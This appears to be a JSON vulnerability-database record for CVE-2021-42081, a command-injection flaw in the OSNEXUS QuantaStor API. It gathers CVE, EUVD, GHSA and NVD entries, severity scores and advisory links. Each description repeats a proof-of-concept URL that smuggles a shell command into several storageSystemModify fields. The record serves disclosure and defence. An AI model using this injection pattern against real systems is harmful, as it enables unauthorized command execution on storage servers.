{"id":"CVE-2021-42081","aliases":["EUVD-2021-29067","GHSA-7g9g-whvg-fhcj"],"status":"published","title":"Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355","description":"An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://\u003cIP_ADDRESS\u003e/qstorapi/storageSystemModify?storageSystem=\u0026newName=quantastor\u0026newDescription=;ls${IFS}-al\u0026newLocation=4\u0026newEnclosureLayoutId=5\u0026newDnsServerList=;ls${IFS}-al\u0026externalHostName=\u0026newNTPServerList=;ls${IFS}-al","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0123,"percentile":0.69353,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-78"],"published":"2023-07-10T06:29:48Z","modified":"2026-06-17T04:09:16Z","products":[{"vendor":"osnexus","product":"quantastor"}],"references":[{"url":"https://www.wbsec.nl/osnexus","tags":["third-party-advisory","technical-description","exploit","x_transferred","Third Party Advisory"]},{"url":"https://csirt.divd.nl/DIVD-2021-00020/","tags":["third-party-advisory"]},{"url":"https://www.osnexus.com/products/software-defined-storage","tags":["product","x_transferred","Product"]},{"url":"https://csirt.divd.nl/CVE-2021-42081","tags":["third-party-advisory","technical-description","exploit","x_transferred","Third Party Advisory"]},{"url":"https://www.divd.nl/DIVD-2021-00020","tags":["third-party-advisory","x_transferred"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-42081"},{"url":"https://csirt.divd.nl/DIVD-2021-00020"},{"url":"https://github.com/advisories/GHSA-7g9g-whvg-fhcj"}],"sources":{"cve":[{"id":"CVE-2021-42081","title":"Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355","description":"An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://\u003cIP_ADDRESS\u003e/qstorapi/storageSystemModify?storageSystem=\u0026newName=quantastor\u0026newDescription=;ls${IFS}-al\u0026newLocation=4\u0026newEnclosureLayoutId=5\u0026newDnsServerList=;ls${IFS}-al\u0026externalHostName=\u0026newNTPServerList=;ls${IFS}-al","status":"published","published":"2023-07-10T06:29:48.514Z","modified":"2025-09-22T06:40:06.104Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:32:58.739039Z"}],"euvd":[{"id":"EUVD-2021-29067","description":"An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://\u003cIP_ADDRESS\u003e/qstorapi/storageSystemModify?storageSystem=\u0026newName=quantastor\u0026newDescription=;ls${IFS}-al\u0026newLocation=4\u0026newEnclosureLayoutId=5\u0026newDnsServerList=;ls${IFS}-al\u0026externalHostName=\u0026newNTPServerList=;ls${IFS}-al","status":"published","published":"2023-07-10T06:29:48Z","modified":"2025-09-22T06:40:06Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T20:31:41.254663Z"}],"ghsa":[{"id":"GHSA-7g9g-whvg-fhcj","title":"An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.","description":"An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.","status":"published","published":"2023-07-10T18:30:47Z","modified":"2024-10-16T12:30:48Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:58:31.476115Z"}],"nvd":[{"id":"CVE-2021-42081","description":"An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://\u003cIP_ADDRESS\u003e/qstorapi/storageSystemModify?storageSystem=\u0026newName=quantastor\u0026newDescription=;ls${IFS}-al\u0026newLocation=4\u0026newEnclosureLayoutId=5\u0026newDnsServerList=;ls${IFS}-al\u0026externalHostName=\u0026newNTPServerList=;ls${IFS}-al","status":"published","published":"2023-07-10T16:15:47.583Z","modified":"2026-06-17T04:09:16.857Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:07:07.764332Z"}]}}